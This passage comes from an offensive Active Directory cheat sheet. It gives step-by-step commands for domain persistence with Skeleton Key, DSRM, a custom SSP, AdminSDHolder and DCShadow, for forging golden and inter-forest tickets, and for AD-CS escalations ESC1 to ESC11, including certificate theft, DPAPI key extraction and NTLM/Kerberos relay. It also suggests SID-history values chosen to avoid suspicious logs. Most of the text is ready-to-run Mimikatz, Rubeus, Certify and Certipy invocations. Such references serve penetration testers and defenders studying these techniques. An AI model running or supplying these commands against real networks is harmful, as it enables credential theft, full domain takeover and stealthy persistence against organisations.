.\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt

Skeleton Key

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local

Now, it is possible to access any machine with a valid username and password as "mimikatz"

Enter-PSSession -Computername dc -Credential domain\Administrator

DSRM

Dump DSRM password

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc

Change registry configuration

Need to change the logon behavior before pass the hash

Enter-PSSession -Computername dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

Invoke-Mimikatz -Command '"misc::memssp"'

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

All local logons on the DC are logged to C:\Windows\system32\kiwissp.log

ACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

#PowerView
Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose

Run SDProp manually

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
#Pre-Server 2008
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

Check Domain Admin ACLs

#PowerView
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'}

ACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section. Multiple rights like All, DCSync, etc, are possible.

ACLs - Security Decriptors

ACLs can be modified to allow users to access objects.

WMI

#On local machine
Set-RemoteWMI -UserName user1 -Verbose

#On remote machine without explicit credentials
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Verbose

#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose

#On remote machine remove permissions
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose

PowerShell Remoting

#On local machine
Set-RemotePSRemoting -UserName user1 -Verbose

#On remote machine without credentials
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Verbose

#On remote machine, remove the permissions
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Remove

Remote Registry

With the scripts from DAMP-master. Permits to realize some actions like credentials dump via the registry.

Cross-Trust Movement

Child To Parent Domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

With the trust key

Get the trust key, look at the [in] value in the result

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
#OR
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'

Forge the inter-realm TGT :

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<enterprise_admins_SID> /rc4:<key> /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"'

Create a TGS with the previous TGT and access service :

#New tools for more fun
.\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \\dc.parentDomain.local\c$

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$

With the krbtgt hash

Exactly the same attack, but with the krbtgt hash that can be extracted like this :

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

To avoid some suspicious logs, use multiple values can be added in SID History :

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid:<current_domain_SID> /groups:516 /sids:<parent_domain_SID>-516,S-1-5-9 /krbtgt:<krbtgt_hash> /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"' 

Across Forest - Inbound trust

Get the Trust Key

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Get the ForeignSecurityPrincipal

When SID filtering is enabled on the trust, only these principals can access resources across the trust.

#These SIDs can access to the target domain
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"}

#The found SID can be search in the current forest
Get-DomainObject |? {$_.objectSid -match "<SID>"}

Forge the inter-forest TGT

For the domain admin (UID 500)

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /rc4:<trust_key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

For a specific user (with the /id parameter)

Invoke-Mimikatz -Command '"Kerberos::golden /user:user1 /domain:domain.local /sid:<current_domain_SID> /id:<user1_RID> /rc4:<trust_key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

Create a TGS with the previous TGT and access service

#New tools for more fun
.\asktgs.exe trust_forest.kirbi CIFS/dc.targetDomain.local
.\kirbikator.exe lsa .\CIFS.dc.targetDomain.local.kirbi
ls \\dc.targetDomain.local\C$\

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local /dc:dc.targetDomain.local /ptt
ls \\dc.targetDomain.local\C$\

Across Forest - PAM Trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high priv group.

Check if the current forest is a bastion forest

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.

Check if the current forest is managed by a bastion forest

Get-ADTrust -Filter {(ForestTransitive -eq $True)}

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

MSSQL Server

Everything is here. (Not for the moment, refactor in progress)

Forest Persistence - DCShadow

The attack needs 2 instances on the compromised machine and Mimikatz.

#With Mimikatz
#Set SYSTEM privs to the process
!+
!processtoken
#Launch the server
lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<hash> /impersonate
lsadump::dcshadow /push

Minimal permissions

DCShadow can be used with minimal permissions (and this) by modifying ACLs of :

Set-DCShadowPermissions can be used to setup automatically

To use DCShadow as user user1 to modify user2 object from machine machine-user1

Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose

Now, the second mimkatz instance (which runs as DA) is not required.

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user

We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end.

#Read the current ACL of high priv groups
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this :

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"

Shadowception

We can even run DCShadow from DCShadow, which is Shadowception (and still this).

We need to append following ACEs with our user's SID at the end:

Get the ACLs

Get the ACLs for the Domain Object :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the attacker machine :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the target user :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the Site Container :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Stack the queries

After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query
For each one :

lsadump::dcshadow /stack /object:<object> /attribute:ntSecurityDescriptor /value:<newACL_after_the_append>

Then just lsadump::dcshadow

DCShadow can now be run from a user DCShadow-ed

References

Microsoft

Active Directory Certificate Services

It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources. Many commands are more explained here, where I have participate for AD-CS.

Is there a CA ?

Find the Cert Publishers group :

Find the PKI : crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs

Find the CA from Windows : certutil –config – -ping

Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc

Certificate Theft

Export user certificates with Crypto APIs - THEFT1

With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if the private keys are exportable :

certmgr.msc -> All Tasks → Export... to export a password protected .pfx file.

With PowerShell :

$mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert cert:\currentuser\my\<CERT_THUMBPRINT> -FilePath ./export.pfx -Password $mypwd

#Or with CertStealer
#List all certs
CertStealer.exe --list

#Export a cert in pfx
CertStealer.exe --export pfx <CERT_THUMBPRINT>

If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz :

mimikatz # 
crypto::capi
privilege::debug
crypto::cng

crypto::certificates /export

Certificate theft via DPAPI - THEFT2 & 3

User certificates

With the master key :

#With SharpDPAPI
SharpDPAPI.exe certificates /mkfile:key.txt


#With Mimikatz
#Export certificate and its public key to DER
cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\
./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export"
	Key Container  : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab

#Find the master key (test them all until you find the good one)
./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad"
	pUniqueName        : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one
	guidMasterKey      : {f216eabc-73af-45dc-936b-babe7ca8ed05}

#Decrypt the master key
./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit
	key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e
	sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70

#Decrypt the private key
./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\<user_SID>\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit
	Private export : OK - 'dpapi_private_key.pvk'

#Build PFX certificate
openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

With a domain backup key to first decrypt all possible master keys :

SharpDPAPI.exe certificates /pvk:key.pvk

Machine certificates

Same, but in a elevated context :

SharpDPAPI.exe certificates /machine

To convert a PEM file to a PFX :

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Finding certificate files - THEFT4

To search for possibly certificate and key related files with Seatbelt :

./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
./Seatbelt.exe InterestingFiles

Other interesting extensions :

To find what the certificate can do :

$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

#Or with a pfx
certutil.exe -dump -v cert.pfx

Verify if a found certificate is the CA certificate (you are really lucky) :

#Show certificate thumbprint
$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.Thumbprint

#Verify CA thumbprint
certutil.exe find /quiet

If they match, it's good.

NTLM Credential Theft via PKINIT – THEFT5

When a TGT is requested with PKINIT, the LM:NT hash is added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key.

The structure can be unciphered if a TGS-REQ U2U is realised. It's called UnPac-the-hash.

Windows

Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Authenticate and recover the NT hash
certipy auth -pfx 'user.pfx' -no-save

Account Persistence

User account persistence - PERSIST1

With a user account control on a domain machine, if a template that allows Client Authentication is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password.

Windows

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template"

Linux

If the user's password is known:

certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

Machine account persistence - PERSIST2

With a machine account control, if a template that allows Client Authentication is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same).

Windows

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine

Linux

If the machine's hash is known:

certipy req -u 'machine@contoso.local' -hashes ':<hash_NT>' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

Account persistence via Certificate Renewal - PERSIST3

The renewal period of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate.

The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself.

Domain Privesc

Template Attacks - ESC1, 2, 3, 9 & 10

image-1640805125672.png

Template misconfiguration - ESC1, 2 & 3

Windows
ESC1 & 2
# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

If ANY EKU but no Client Authentication, it can be used as en ESC3.

ESC2 & 3
# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
Linux
ESC1 & 2
# enumerate and save text, json and bloodhound (original) outputs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

# quickly spot vulnerable elements
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'

If ANY EKU but no Client Authentication, it can be used as en ESC3.

ESC2 & 3
# Request a certificate specifying the Certificate Request Agent EKU
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx'

Extension misconfiguration - ESC9 & 10

Windows
ESC9

Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request vulnerable certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
ESC10 - Case 1

Here, user1 has GenericWrite against user2 and want to compromise user3.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
ESC10 - Case 2

Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to DC$@contoso.local
Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose

Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD.

Linux
ESC9

Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3
#Request vulnerable certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
ESC10 - Case 1

Here, user1 has GenericWrite against user2 and want to compromise user3.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
ESC10 - Case 2

Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to DC$@contoso.local
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn 'DC$@contoso.local'
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate through Schannel to realise a RBCD in a LDAP shell
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell

Access Controls Attacks - ESC4, 5, 7

Sufficient rights against a template - ESC4

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    • Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    • Any Purpose (OID: 2.5.29.37.0)
    • No EKU
  6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack
Windows
# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
Linux
# Overwrite the certificate template and save the old configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old

# After the ESC1 attack, restore the original configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json'
# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass


# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass 

Sufficient rights against several objects - ESC5

Sufficient rights against the CA - ESC7

Windows
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337
Linux

When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull.

It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

# Add a new officier
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user'

# List all the templates
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA'
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100

CA Configuration - ESC6

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request

Windows

# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"

Linux

# Verify if the flag is set
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN"

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'

Relay Attacks - ESC8, 11

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

NTLM Relay
# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
#Or
certipy relay -ca ca.contoso.local

# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)
Kerberos Relay

It is possible with the last versions of mitm6 and krbrelayx.

#Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay CA.contoso.local -v

RPC Endpoint - ESC11

Certificate request can be realised through the MS-ICPR RPC endpoint. If the flag IF_ENFORCEENCRYPTICERTREQUEST is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, Windows Servers < 2012 and Windows XP clients need the flag to be removed for compatibility.

